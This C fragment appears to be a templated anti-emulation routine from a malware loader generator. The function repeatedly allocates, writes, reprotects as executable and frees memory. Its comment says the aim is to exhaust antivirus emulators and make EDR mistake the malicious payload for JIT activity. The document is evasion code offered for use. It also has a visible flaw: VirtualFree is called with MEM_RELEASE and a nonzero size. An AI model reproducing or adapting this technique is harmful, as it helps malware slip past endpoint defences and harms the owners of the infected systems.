/* This will allocate SIR_ALLOC_COUNT RW memory regions, set them to RX, and free them. And this SIR_ITERATION_COUNT times. SIR_ITERATION_COUNT: Single digits, around 5 SIR_ALLOC_COUNT: Tripple digits, around 100 Memory : SIR_ALLOC_COUNT * payload_length Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ? API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3 The idea is that the AV emulator will probably give up, either because of used memory is above maximum, or amount of instructions, or number of API calls, or time. It hopefully also makes the EDR think this program is doing some kind of interpreter or JIT compilation, and not a malicious payload. */ void antiemulation() { void* allocs[{{SIR_ALLOC_COUNT}}]; DWORD result; for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) { for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) { allocs[n] = VirtualAlloc( NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW ); char *ptr = allocs[n]; // write every byte of it for(int i=0; i<{{PAYLOAD_LEN}}; i++) { ptr[i] = 0x23; } } for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) { if (VirtualProtect( allocs[n], {{PAYLOAD_LEN}}, p_RX, &result) == 0) { return; } } BOOL bSuccess; for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) { bSuccess = VirtualFree( allocs[n], {{PAYLOAD_LEN}}, 0x00008000); // MEM_RELEASE } } }